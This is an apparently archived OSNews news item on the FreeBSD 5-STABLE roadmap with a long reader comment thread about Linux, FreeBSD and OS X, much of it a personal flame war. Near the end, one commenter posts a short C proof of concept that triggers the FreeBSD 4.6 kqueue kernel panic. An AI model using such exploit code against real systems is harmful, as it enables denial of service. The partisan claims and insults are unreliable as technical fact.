FreeBSD team’s Scott Long lays out a roadmap for FreeBSD-5 stable in this informative email. He says that although the latest release of FreeBSD 5 marks a major milestone in FreeBSD’s history, there are significant improvements necessary in the areas of SMP, kernel lockdown, performance, network driver stability, ACPI and much more. He also presents a tentative schedule for the rest of the year for FreeBSD 5.1 and 5.2 releases.
The Roadmap for FreeBSD 5-STABLE
About The Author
Eugenia Loli
Ex-programmer, ex-editor in chief at OSNews.com, now a visual artist/filmmaker.
Follow me on Twitter @EugeniaLoli
When they gonna get the PPC port outta diapers?
Does apple plan to switch OSX to freebsd 5 underneath, from the FBSD4.4/Mach setup, once smp and such is refined? Maybe this is for OS11 or OSXI?
Here is the answer:
http://www.macslash.org/comments.pl?sid=03/01/20/2150256&cid=12
I don’t know. Running FreeBSD under OS X would be a nifty hack. I’m pretty sure they wouldn’t do it (porting I/O Manager and all the drivers over from Mach would probably be a pain) but I’m sure porting the OS X user level won’t be too much of a problem, given that it must be built on the BSD layer anyway. Maybe FreeBSD/OS-X is one of those things in Apple’s “You Wish” development lab, next to the x86 port
I’ve talked about this before… replacing the underlying OS X kernel with FreeBSD would require three major hacks:
* Adding support for Mach message queues, or modifying CoreFoundation to emulate Mach message queues with some other IPC mechanism (SVR4 message queues possibly?)
A* dding binary compatibility for Mach-O/Darwin PPC binaries. NetBSD has started on this already.
* Grafting the OS X driver architecture onto the FreeBSD kernel. I believe this will be the trickiest feat of them all, especially considering that the drivers use the (now obsolete) gcc 2.95 C++ ABI.
Apple is very wary about breaking compatibility with existing 3rd party KEXTs, so I don’t think they’ll ever attempt something like this.
What we may see is some borrowing of FreeBSD code here and there to fix up certain aspects of XNU. Jordan Hubbard suggested UFS2 as a likely candidate… this would also make for an easy port since the XNU and FreeBSD VFS implementations are so similar.
My personal request would be kqueues, but at this point Apple is afraid of even adding poll() for fear of breaking KEXT compatibility.
Rayiner, well like i said it’s not like OSX isn’t running on freebsd, it’s 4.4 freebsd, but the core of it is mach 3. so it wouldn’t be that revolutionary. But as the link that Eugenia gave points out there isn’t much of a reason for that sync at this time, coming from one of da mans in the know. But even as Mr Hubbard pointed out, it’s just not happening in the foreseeable. So it probably will happen once FBSD 5 is mature. I had thought I had heard they will sync with 5series in time and it seams they will. just not soon. until then osx is 10.2.4 on 4.4 on 3. I’m still curious what you have left of freebsd 4.4 once you replace the kernel with mach. what does that leave you with?
your right, there is quite a bit to such a move, and breaking compatabilty is big. I didn’t know how much there changes would effect the upper level of things. I was thinking that the changes would be all down low since osx is built ontop of 4.4 but i guess changes at the kernel would work all the way back up, not just back to the freebsd parts. Your probably right, if apple does anything they will probably just keap ripping parts from fbsd5 and grafting them into darwin if they can be done with out a mess being made and there being an advantage to do such things.
wasn’t osx 10.0, and 1 based on a 3 series of freebsd with the mach kernel. I was thinking 10.2 was a sync to 4.4.
Linux isn’t even in the top 50.
That would be because of the jiffies rollover “bug” (see http://www.ussg.iu.edu/hypermail/linux/kernel/0202.2/0346.html)
Thank GOD FreeBSD exists. With only linux around, the world would be in chaos.
What makes you say that?
Go here and look how FreeBSD owns the longest uptime rankings SO HARD: http://uptime.netcraft.com/up/today/top.avg.html (BSD/OS and FreeBSD are closely related btw.) Linux isn’t even in the top 50.
From the FAQ that goes along with it (http://uptime.netcraft.com/up/accuracy.html):
Additionally HP-UX, Linux, Solaris and recent releases of FreeBSD cycle back to zero after 497 days, exactly as if the machine had been rebooted at that precise point. Thus it is not possible to see a HP-UX, Linux or Solaris system with an uptime measurement above 497 days.
Anyway, if I was a FreeBSD user, I’d be pretty disheartened after this status report. FreeBSD is already trailing Linux in a number of areas, and it seems the gap is widening.
Bragging with uptime is the way to go… NOT!
It just tells me that they don’t patch their systems.
If you think that glibc isn’t designed for linux, and that the Linux kernel isn’t designed for GCC you have no idea what you’re talking about.
GCC is the main compiler for FreeBSD, no? But Linux is GNU, glibc is GNU, GCC is GNU… Why is a BSD lisenced project using a GNU tool as its main compiler?
PS. I’ve used all of the BSDs. I actually like NetBSD and OpenBSD, because unlike FreeBSD, they actually try to do something that linux can’t or doesn’t do.
I use linux and freeBSD both. While admiring freeBSD is one thing, low latency and O(1) scheduler are definitely linux’s pluses. Mandrake 9 is way more responsive than freeBSD4.7.
Besides linux pthreads are bit more better than freeBSD threads. Even with linuxthreads port on freeBSD, it can not beat linux.
Of course, I am using both of them because both of them delievr more than I want.
…is a dumb argument. theyre BOTH very good and theyre both getting better. at the current stage linux and freebsd are different in abilities, “personality” and the perpectives of their maintainers. there is no single meaningful metric of overall “better-ness”.
we should be happy that 99% of user-land applications are portable between BSD and linux: this gives us a choice of which kernel we want to run and prevents homogenisation. variety is a good thing.
I ran an IRC bot for 1.2 years on a Linux box (2.1.125), so I know what linux endurance is like.
You ran an IRC bot on a beta kernel, four and a half years ago. That doesn’t make you an expert on “linux endurance”.
so to your “get a clue” remark: lay off you snarky arrogant quipping freak.
You provided a link to the netcraft top 50 uptime chart in reference to FreeBSD’s stability. You specifically mentioned that there were no Linux boxes in it. It has been explained to you why there aren’t any in the list. Falling back to anecdotal evidence does nothing to help your credibility, nor does insulting me.
pushing ahead with garbage hardware support and sloppy, poorly documented code run by ONE MAN, Linux, who didnt merge a huge amount of useful things, say, kernel crash dumps, into 2.5-2.6.
Garbage hardware support? Linux supports a much wider range of hardware than FreeBSD (largely because of a large developer community and more commercial support). If Linux’s hardware support is “garbage”, FreeBSD’s is nonexistant.
I disagree with your hitler comments, of course – IMO the Linux development model works extremely well. One only has to look at the infighting and back stabbing to see that the FreeBSD approach isn’t a bed of roses either.
The crash dump patch was not merged in because it suffered from a number of problems.
Yes, Alan Cox works for RedHat. I fail to see how this is related to the other things you mentioned. (Did you know RedHat had to ship GCC2.96 because it was the only way to get working IA64 support at the time?) Quite the non sequitur you’ve got there…
Linux has its place, but the discipline and meritocracy and realistic license of freebsd make it far more useful in my opinion.
Despite your opinion, Linux continues to gain market support and mindshare whilst FreeBSD remains sidelined. I guess that makes your opinion worhless.
BeOS was never used nearly as much as linux, yet it still had a place on people’s computers. So will FreeBSD. People will always have the underdog to play with, because it has nothing to prove to people. Being second best can sometimes be a blessing, because the BSD people aren’t being pushed beyond what they are willing to do with the OS. Linux is trying to be the Windows of the open source world, and eventually it will achieve that goal with the same problems windows has and will continue to have. So personally, I think BSD is the better OS, because it has fewer stipulations on how and where it can be used, and it also doesn’t try to be something it isn’t. It just does what it does as good as it can regardless of what people try to make it into.
Man, FreeBSD 5.0 in and of itself is amazing, couple that with KDE 3.1, and the fact /etc/make.conf can direct the recompilation of the entire kernel and OS and all ports for your CPU is wonderful.
I’m considering installing and testing freebsd. I just don’t have that much time to figure out the differences right now, but I may give it a shot.
Could someone clarify this? Are ports in FreeBSD like apt-get in Debian? If I installed FreeBSD 5.0, how would I upgrade to KDE 3.1?
I have ACPI on my laptop, a reason to do this.
“””Could someone clarify this? Are ports in FreeBSD like apt-get in Debian? If I installed FreeBSD 5.0, how would I upgrade to KDE 3.1? “””
In FreeBSD, pkg_add is kinda like apt-get (when invoked with -r). The ports system fetchs and compiles from source.
IMO the Linux development model works extremely well
Certainly hil, certainly. Too bad that Linux doesn’t work as well as it’s “model work”. just speaking about security, i don’t want to bother you with the very common bugs… On another hand, patching twice a week may be attractive for fitness ;-)))
But the truth is always hided to public. In fact Linux is a commercial ploy from the International Cables Company, to increase network bandwith consumption ;-)))))))
“Bragging with uptime is the way to go… NOT!
It just tells me that they don’t patch their systems.”
No, it tells you that not all OSs need to be rebooted after a patch. Welcome to the world of Unix.
what if apple used the netbsd kernel? is it better (faster) then darwin?
Whether NetBSD is faster or not, but as Bascule and others said–Apple will NOT switch kernels soon. Thanks to GCC breaking C++ ABI compatibility with every release, (until recently) they are stuck with incompatibilities unless they can convince ALL their third party people to update ALL their drivers and software again.
Yes, I KNOW GCC were doing it because they had to get it right, and the ‘multi-vendor specification’ was off in some parts, but still, it makes Windows look good in that respect.
–JM
You do if it’s a kernel patch….
– Kelson
Even if it’s not a kernel patch:
libweeble.so has a bug in it. wobbled, a daemon that uses it, libweeble.so linked in. Now you replace libweeble.so with a patched version, but unless you restart wobbled, it’ll still be using the old, buggy code. Unless I’m totally mistaken on how runtime linking is done.
I’m sure you could find everything that uses the libweeble and restart it, but it’s easier and safer to just reboot. Besides, you might find that something isn’t right in your startup scripts. Easier to fix things a couple at a time at night, than having to fix 2 years worth of cruft in the middle of the day after a power outage.
Now, IMHO, the measure of a good OS is the time between full installs. I have a FreeBSD 4.7-STABLE box that I’ve rebuilt world on dozens of times since 4.2-RELEASE. That’s over two years ago. I’m just sad that before long, I’ll have to re-install to go to 5.0-STABLE. It’s nice not having to reinstall the system software (I use /usr/ports/sysutils/portupgrade) manually.
Well, all this OS X talk is a little tangential anyway. OS X really isn’t based on FreeBSD. OS X is a Mach kernel with a 4.4 BSD-lite2 userland. Parts of the 4.4BSD kernel code were replaced with (I think maybe the VFS and networking) FreeBSD and NetBSD code, but most of the Free/NetBSD code went into the userland tools. I was just thinking that since the BSD APIs were so similar, it would be a nifty possibility.
“Anyway, if I was a FreeBSD user, I’d be pretty disheartened after this status report. FreeBSD is already trailing Linux in a number of areas, and it seems the gap is widening.”
On the contrary, I was quite excited by the DBench figures I got on an SMP FreeBSD 5.0 system compared to those I got on Linux.
See http://www.osnews.com/comment.php?news_id=2734
These figures were rather surprising given the relatively unfinished state of many of the SMPng elements, and I’m glad to see the high granularity of SMPng’s locking already paying off in improved I/O performance.
The only disheartening part of the announcement was that KSE support may not go into the threading libraries for -STABLE, which would indeed be a shame.
Besides linux pthreads are bit more better than freeBSD threads. Even with linuxthreads port on freeBSD, it can not beat linux.
I got into a FreeBSD threads vs. linuxthreads argument before… but there’s really no point as they’re both terrible threads implementations compared to implementations seen on professional Unices. Linux’s LWPs are far too heavy (they take up process table entries, and are essentially shared memory HWPs), and FreeBSD’s LWPs are far too light (and don’t scale across multiple processors).
I don’t follow the state of evolving technology in Linux too closely, but as I understand new kernel features have been added to give Linux more pure multithreading, and two new userland libraries have been written.
Meanwhile, in FreeBSD land, userland libraries have been written to support KSEs, but they haven’t been integrated into the pthreads library yet, and it sound like due to a time crunch KSE support may not make it in at all. So, I wish the FreeBSD team good luck in their quest to add KSE support to the threads libraries before -STABLE.
I’ve tried several times in the last few weeks to put FreeBSD on a spare partition for a “test drive”, and I haven’t been able to get it to install. The installer itself seems like a fairly reasonable text-based program, somewhat like the Debian installer. I’ve tried on two machines, both times using FTP. At home, I have a cable modem, and the installation program doesn’t seem to be able to use DHCP. Even if I renew my lease for an hour in Windows or Linux, check the ip, and enter it manually during the FreeBSD install, it still doesn’t work. So for plan B I copied the base files to C:FreeBSD (FAT, not NTFS) and chose “Install from DOS partition”, and the installer could not mount my Windows drive.
On my office machine, I tried to put FreeBSD on an empty 1.2 gig primary partition. Everything went fine with the network connection, but the install fails part way because the installer thinks the device is full (“no available inodes”, or something). I installed Debian on that partition in the past with no problems.
Anyway, I think the installer needs some work. I just put a CD burner in my home machine, so I think I will try again by downloading the ISO and making a bootable installation CD.
FreeBSD 5 sounds like a great OS – I really want to give it a try.
I see no shame in rebooting a machine, it’s a good thing to make sure your startup is clean in case of a power outage while you are not around.
But, for instance if there is a bug in apache or a lib that it uses, I can emerge a new version of apache or the lib while the old one is still running, and it just takes a ‘apache restart’ to get back on line with the bug fixed versions.
That’s a second or so of outage compared to a couple of minutes reboot time for a server. Also, ftp transfers etc can carry on uninterrupted.
Kernel patches for security reasons are pretty rare. Can anyone remember any show stopper security problems that needed a kernel patch in the last year?
(That is not a rhetorical question, I would like to know!)
Kernel patches for security reasons are pretty rare. Can anyone remember any show stopper security problems that needed a kernel patch in the last year?
(That is not a rhetorical question, I would like to know!)
There was a vulnerability in FreeBSD <= 4.6’s kqueue implementation which could let any local user panic the kernel, see:
http://www.securityfocus.com/bid/5405
Some people think that FBSD isn’t ready for the desktop. Sure, the install isnt very user friendly, but then it can be configured as an vry attractive desktop and much more maintanable than avery linux distribution (only gentoo seems to become like that).
What I only want to say here is: KDE 3.0.5 start in 20 seconds on RH 8.0
and in less than 10 seconds (including X server) on FBSD 5.
Actually, FBSD is faster than any linux distribution (RH, Mandrake, Gentoo) for the desktop with exactly same parameters (KDE, XFree, XFS, …) and a lot !
FBSD 4.7 was slower than linux distros, but give a try at the 5.0 release with gcc 3.2.1, you will be surprised.
I’ve been a unix administrator since before then, and have been ever since, boy. So, having watched FreeBSD and Linux grow since that time by actually using them, something you don’t do, qualifies my opinion. Sorry tinkerbell.
Hm. Funny you should mention that. I have in the last five years, amongst other things, had jobs hacking FreeBSD kernel code for an embedded routing application, writing Linux device drivers for certain proprietary crypto hardware, hacking Linux kernel code for a distributed compute farm, admining a number of large Unix data centre and writing EJB apps.
I’ve also seen Linux and FreeBSD grow. Whilst early Linux wasn’t especially stable, anything from 2.2 onwards (excepting the very early 2.4 kernels) has been exceptionally stable – at least as stable as contempory FreeBSD.
This means exactly nothing, just like your opinion. The difference between you and me is that I don’t attempt to take a clearly flawed chart as some kind of gospel evidence.
Well, I have been looking at that survey for some time. Even before a BUG starting making machines fall off the list, FreeBSD was there, leading the pack
Quite possibly, but I don’t expect you can actually provide some hard evidence can you?
Your apparent inexperience with unix makes your opinion anecdotal.
My what? I’ve been using Unix for nearly a decade. Whilst that might not be as long as your experience, it’s taken me through multiple architectres and multiple flavours. I currently have AIX, FreeBSD (4 and 5), Solaris, Linux and HPUX machines in my lab. I have written kernel code for all of these. I really don’t know what you count as “experience”, but I think I’ve got plenty.
I really think your whole tone is vile, and you are unacceptable.
Hm, that’s rather ironic. I think I’m being fairly civil in light of the vitriol eminating from your direction. You continue resort to ad hominem attacks instead of supporting your suppositions with actual evidence and facts; your continual attempts to belittle me (“boy”, “tinkerbel”) are frankly bizzare.
I wish I could see your resume come across my desk so it could throw it in the trash.
Cute. I doubt very much that I’d ever be applying for a job where you’re in charge. Not that I need job, being gainfully employed running a company of my own.
Wrong. The most active development in Linux driver-land is with obsolete hardware.
Really? Prove it.
I watch the checkins on Bitkeeper for linux and CVS for FreeBSD.
Yeah? I’m happy for you.
Linux’s current SCSI underpinnings came from FreeBSD (Justin Gibbs), as did it’s current AIC-7xxx driver-set. Linux’s USB was a port of FreeBSD’s support.
I don’t recall denying that cross pollination of code occurs. Perhaps you’d like to point out where I do?
You haven’t actually demonstrated that FreeBSD supports more hardware than Linux either.
Justin is paid by Adaptec to write the AIC-7xxx drivers. Being a good developer, he abstracted a lot of stuff to make it possible to share most of the code between different OS’s.
The offical USB stack was written by Linus Torvalds in March of 99. It was meged into 2.2.7. http://marc.theaimsgroup.com/?l=linux-usb&m=92282561930486&w=2
No it doesn’t. Why do all the Linux vendors have to wildly patch and hack the kernel for production use? Why? You tell me.
Because they each have individual needs and requirements; the tree on kernel.org is a baseline. It’s anticipated that people will patch it with the things that they require. A number of things in the latest RedHat kernel, for example, are back ports of 2.5 functionality (the new scheduler, rmap VM, NPTL et-al), something which should not necessarily be merged back into the mainline stable kernel in an ad-hoc fashion.
Proof that this works is in the pudding; Montavista have a very lightweight kernel for embedded devices. RedHat have a scalable, robust kernel which meets the needs of their Advanced Server clients. SGI have a kernel which is very tightly integrated with their IA64 NUMA systems.
The ultimate demonstration is that nobody has attempted to replace Linus, or seriously fork the kernel. You can bet that if people were drastically unhappy with what he was doing and how he was doing it, both of these things would happen in a snap.
I’m doing this as a public service so everyone knows what you are about, inexperience and anecdotes.
I wouldn’t give up the day job in that case.
Conflict of interest for the rest of community and other vendors.
No, not at all. Alan is respected and trusted because he is extremely good at what he does. The fact that he works for RedHat is incidental to this.
And Speaking of other platforms, Redhat STINKS at it.
RedHat support x86, IA64 and s390/x. You can get unsupported builds for SPARC and Alpha as well.
The Debian project supports m68k, x86, IA64, SPAARC32/64, PPC, ARM, Alpha, MIPS, PA-RISC and x39x.
FreeBSD is currently supporting: IA-32, IA-64, Alpha, SPARC64.
Only for fairly arbitary definitions of “supporting”. Only two of those ports are really usable.
And its okay to break a compiler to make it work in IA64. You’re wrong about that. Bero states CLEARLY it had to do with a broken C++ ABI. Again, more cruft coming fro you mouth, lies. Lies.
He did? What about http://www.owlriver.com/tips/gcc-296-bero/ (it’s a mirror from Beros own site, which is currently down). I see there, as one of the items:
gcc 2.96 supports all architectures Red Hat is currently supporting, including ia64. No other
compiler can do this. Having to maintain different compilers for every different architecture is a
development (find a bug, then fix it 4 times), QA and support nightmare.
Like I said.
Microsoft has the largest market share does that make them better. Of course not.
It seems to be the consensus that this is indeed the case for the desktop market.
FreeBSD is hardly fringe, and in the virtual server, hosting and networking business linux is a strange anomaly.
Um, no.
And you clearly never read source code because anyone who does knows for a fact FreeBSD’s readability is an order of magnitude better than Linux’s.
Aye, I’ll give you that one. I don’t find Linux code especially difficult to read though.
do you have any idea how many operating systems have already borrowed BSD code? Obviously not.
Of course I do. Your point?
Tah tah weenie.
Well, that pretty much sums up your entire post. Completely lacking in substance and composed almost entirely of ad hom attacks and insults.
How about when you reply to this you try and put some facts into your writing and lay off the attacks a bit? It might help your credibility!
Exploits:
Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
You should write an exploit to show the world how easy it is to exploit that!
Actually it’s relatively easy to exploit… here’s a more thorough description:
http://beatbox.suidzer0.org/showres.php?newsid=133
An exploit is relatively simple to write:
int q, pipe[2];
struct kevent kev;
q = kqueue();
pipe(&pipe);
close(pipe[0]);
kev.filter = EVFILT_WRITE;
kev.ident = pipe[1];
kev.flags = EV_ADD | EV_ENABLE;
kev.fflags = 0;
kevent(q, &kev, 1, NULL, 0, NULL);
That you slam him for misspelling words when you grammer sucks
The word is “grammar”.
OMG NO YUO
(@)<
Link to your diffs.
I rather value my privacy, especially when I’m dealing with someone who appears to have severe psychological problems. I’d rather remain reasonably anonymous, even if it is at the cost of this “argument”.
Oh, and you whip out the enterprise java beans, yes it is common to see people hack both c and java and be good at both (psyche).
I wouldn’t say it was common, but it’s certainly not unheard of. It’s a case of mind sets. Yes, I’ve ignored your sarcasm because you just aren’t very good at it.
Wrong. 2.4 is still un-useable.
I disagree with your. IBM disagrees with you. HP disagrees with you. SGI disagrees with you. NEC disagrees with you. Credit Susie First Boston disagrees with you. Amazon disagrees with you. Yahoo disagrees with you. Sun disagrees with you. Oracle disagrees with you. I don’t think I need to go on.
Ever see this: kernel: Uhhuh. NMI received. Dazed and confused, but trying to continue. You see, that would be useful, especially if you parse the exception, but the only thing is – that this happens on perfectly good and stable hardware!
Could be any number of things ranging from ECC to a bad bios.
And you spelled contemporary wrong Genius hacker.
So? The last resort of someone losing an argument is to point out spelling and gramatical errors in the opposing sides posts.
My spelling sucks. The relevance is…?
You claim to hack code, I’m sure most of the time is spent between other’s /**/.
That is a groundless assumption… but it must be comforting to be so sure of something you can and don’t know.
And if you are a sloppy programmer, it would make sense you like linux.
You’re making (or pretending to make) silly assumptions again. Why?
Experience. You think. A master of the world in your own mind. Sorry, pal, You don’t strike me as the PDP type. You’ll have to do a lot more before you can convince me you’re old school. Now if you whipped out the I ported BSD 2.9 to the m68k, I’d have respect. Starting in 1993 is not something special, that’s hardly old school. Please. Snore. My what? Indignant – probably because I struck a chord with the /**/ hacker.
What the hell is that? A stream of conciousness spewed directly into your browser? I don’t want or need your respect, thanks, nor do I care if you consider me to be “old school” (I bet you even have a special handshake, right?).
You cant spell.
You’re quite right, I can’t. You can’t string a coherent sentence together…
You spelled emanating, homonym, bizarre wrong
The word is hominem, as in Ad hominem. If you don’t understand what it means, head for google.
You tone is clearly combative, you are trying to derail either me or FreeBSD, and when the devices of your deprecation fail you, you sit here and whine and complain about me be fail to debunk any of the facts presented forth. You are a poor scientist, Mr. Phil.
If my tone is combatitive, you must be gunning for the Angry Internet Psycho Loser 2003 award O_o
The lie which you are trying to promulgate gets more and more absurd every time you open your mouth.
What lie? If I’m lying, you certainly haven’t exposed it.
Too bad your “company” is a half wit consulting gig with negative net gains.
Again with the groundless assumptions.
About obsolete hardware support on Linux, go look at Alan’s diary.
Alan Cox does not encompass the entirety of Linux kernel development.
Proof please.
Wow, you business must be burgeoning and splitting at the seams with all this free time for OSNews.
It’s night. One could levy the same charge at you – what are you doing? Posting whilst frittering your unemployment benefits away on porn and pizza?
I’d like to see a native linux running an E10K better than Solaris.
That’s not going to happen, largely because people buy E10K’s for Solaris.
Or a p series better.
Linux runs very well on the pSeries. Not as well as AIX, but getting close.
Or any super heavy stuff better than the vedor OS – it wont.
One word: IA64, where Linux /is/ practically the vendor OS.
Meanwhile the race is on to clean up HT in Linux while it already seems to work just fine in XP. Good job Linux.
HT works fine on Linux. Some effort is being extended on making it even better.
Comment about Alan: the respect him because the have to. Period. Without him, nothing would get merged. It’s a totalitarian way of doing things, clearly not meritocratic.
Uh, no. Alan isn’t the only person Linus accepts patches from. You earlier claimed to follow the bkbits logs – if this was the case, you’d know that all sorts of patches from all sorts of contributers have been and are continuing to be merged by Linus.
SPARC and ALPHA: No you can’t get them. Nor will they be updated. Your lies are amazing. And I’m talking current versions, not 6.x
ftp://ftp.redhat.com/pub/redhat/linux/rawhide
Notice that I said they were unsupported. That is, there aren’t RedHat Alpha boxed products with support. The distro is still built on those targets, and you can download the binaries from RawHide.
And Debian? You trying to insinuate Debian be used in production over FreeBSD? That’s a good one.
Sure. Debian seems to be the Linux equivalent of FreeBSD – slow moving, well tested, little commercial backing.
Lies. Absolute lies. For someone who doesn’t use FreeBSD you seem to know it doesn’t properly on quite a number of boxes.
Not at all. The PPC, SPARC and IA64 ports are very young and unstable in comparison to the x86 and even Alpha ports.
Your one line answers not only suck, bet reveal the type of Jerk you are.
Really? What kind of jerk do your insults, lies and tantrums reveal you to be?
They borrow a HELL of a lot less form Linux.
That would be because Linux kernel code is GPL’ed.
EXT3, EXT2, Reiser are GARBAGE.
The first and the last certainly aren’t. The second is merely average.
RedHat is the closest, a fading fast.
Fading fast, you say? I guess that explains the heavy sales of RHAS, migrations from proprietary UNIXen to same and ever increasing profile.
Yeah, must do.
The VM in Linux is inferior. The worst Linux zealots will claim 2.5/2.6 is ‘well along’ or ‘competitive’ in this department, proving that 2.4 had a horrific VM.
2.4’s VM has problems in certain corner cases, but it certainly isn’t “horiffic”.
2.5 is a lot better. A lot, lot better. World leading, potentially.
Anyone who has Solaris with plenty of memory knows what a properly setup /tmp can do.
Yup. /me stares at tmpfs in Linux. Ooooh, what could this be?
Do you know anything at all?
IPv6 still EXPERIMENTAL. Along with a host of other things not in most OSes.
A lot of things are marked “experimental”. This doesn’t mean that they aren’t production suitable, however.
Linux is able to be easily live-locked
Uh, no. We wouldn’t see SGI selling a 64 processor SSI box were that to be the case (what with broken locking semantics becoming apparent on an exponential basis as the number of CPU’s increases).
Networking code questionable.
Not really.
Is LINUX in dire need of a real overhaul to make it more viable for non-trivial production use.
Patently false, as demonstrated by the prouction use of Linux in banks, stock exchanges and other MC environments. Hell, Oracle recently completed a migration of their internal business application servers to Linux.
I guess they did that because Linux is in “need of a real overhaul”?
*boggle*
Well, I’ve spent enough time schooling an offensive, crude, illeducated troll for one day. Have fun with the last word!
Dear Mr Haverty:
Yahoo isn’t an all-BSD shop. They use Linux on their west-coast hosting center for MySQL serving. God only knows why they use MySQL.
Oh yeah, and I don’t think “philly cheese” said anything about RawHide being release quality…
Love, ctkrohn
John Haverty:
Some people know more than we do. These people are called teachers. If you listen to them, you will become more knowlegable.
You might even gain some hint of intellect.
Love,
Gee Oh
Eugenia, do you think you could do something about Mr. Haverty above? If he is not a troll, I don’t know who is. He violates items 1,2,3,6,7, and 9 of your commenting rules.
Totally annoying.
not to mention he is a raving lunatic
Love
Logic
John Haverty and Phil in a tag team extravaganva.
Geez John Haverty have you ever heard of putting your thoughts into one post at a time man.
God if you are not trolling then you are getting way too emotional over this.
We are talking about OS choices here man.
I would hate to discuss religion or politics with you man. If someone ticks you off about something really important what do you do? Please.
People get so dogmatic over a technical choice that should be made soley according to the task it is needed for.
There are times I am scoping out a project where I would suggest BSD, some where I would choose linux, Mac OS X or Solaris or even Windows. To each according to his strengths. The day of homogenous server environments are dead. Worshipping the false god of OS dogma will get you burned at the stake when the project is on the line.
Galileo was a revolutionary. FreeBSD is just another flavor of a OS created what in the 70’s at Berkeley. Ken Thompson, Dennis Ritchie and Bill Joy (never gets enough credit really IMO) were Galileo figures. It is not revolutionary to simply stand on top of a hill and yell and fuss like you are doing.
why do all OS holy war threads degenerate into online dick-waving contests?
Everyone must be lonely. They’re sitting in front of their computer arguing on valentine’s day!
“what productoin server has a nondedicated setup? why would the makers of freebsd care if you can mix freebsd into OS diarhea.
Listen you, um….uncourteous person. The FreeBSD installation guide is filled with info about how to install FreeBSD along another OS. They specifically mention Windows. They *want* people to start to use FreeBSD as a desktop system. Did I ever say anything about “production server” in my post about having difficulties trying to install it?
“thank god they dont care about stupid things like “can i install this os on a FAT32 filesystem.”
If you would ever read rather than rant, I was referring to a *FreeBSD-endorsed* method of installation, namely “installing from a DOS partition”. Have you ever read the FreeBSD installation manual? It means that if you can’t get FTP working, you can install the base files on a local DOS partition and use that for the archive to install a UFS-based FreeBSD. I never said anything about installing FreeBSD onto FAT32.
“Dont deprecate an OS because it doesnt want to share a system with inferior partitioning or filesystems.”
I don’t think I deprecated it at all. I said the installer of the new release had some problems. I think it sounds great and I really want to try it. And yes, it *should* be able to share a hard drive with another OS, particularly since the installation documents say so.
I would like to thank you. Your comments to this particular news story have been very informative and enlightening.
I think you have clearly exposed the need for some sort of moderation system apart from the moderation done manually by the editors.
Of course your knowledge about operating systems seems to be less than what I would expect from a sixth grade student. Not to mention that you seriously need to improve your communication skills, not only for learning to write in a decent tone but it also seems that you need to learn to read. You do seem to see the letters, but apparently their meaning elude you.
Without knowing anything about you apart from your own life story which you have talked at length about, I would estimate you to be around 10-12 years old.
Hopefully your many and terribly stupid comments will finally give us a proper moderation system. I thank you for that.
Oh and to phil… there is no point in arguing with people like mr. Haverty, you really can’t reason with stupidity.
Actually i was stuck at work with nothing to do, and Johnny baby just keep on being a loon. Your just fortifying my statement
quote phil
rather value my privacy, especially when I’m dealing with someone who appears to have severe psychological problems…
J.H.’s choppy, incohernet, inflammatory posts have proven your statement correct without a doubt. And thanks for handling this nut-case in a civilized manner.
It’s one thing to debate…another to make a total f***ing jackass out of yourself for everyone to see. And yes, Mr. Haverty, I’m talking about you.
I never said you were right, plus you dont bother me at all. You can go ahead and attack me all you want, it honestly dont really care what some crazy “hack” on the net thinks about me. I just like to read your insane rants, i think they are rather funny. As far as the being lonely thing, i’m getting ready to visit my SO and get some tail…when was the last time you felt what the inside of a woman feels like?
And I thought the Linux V Windows flamewars got pretty heated!
I pick up a great deal of useful information when operating systems are compared, but it’s always a shame when the debate degrades into personal attacks.
It also makes me suspicious of the claims from those involved.
You do nothing but damage the reputation of the OS you are advocating by pointless name calling, and annoy those who also advocate it, but don’t want to be tarred with the same brush as it’s more rabid representatives.
So phile can lie about hacking code and not show it and thats okay with you. These are all just words, and when you people use them its pathetic.
Hmm I must say I agree with lots of points in the moderated down comments. We just have to stay calmer as we post anything. I think John’s comments are quite on the spot otherwise.
The problem with John’s comments is that he consantly makes fun and insults people. That is why his comments get modded down.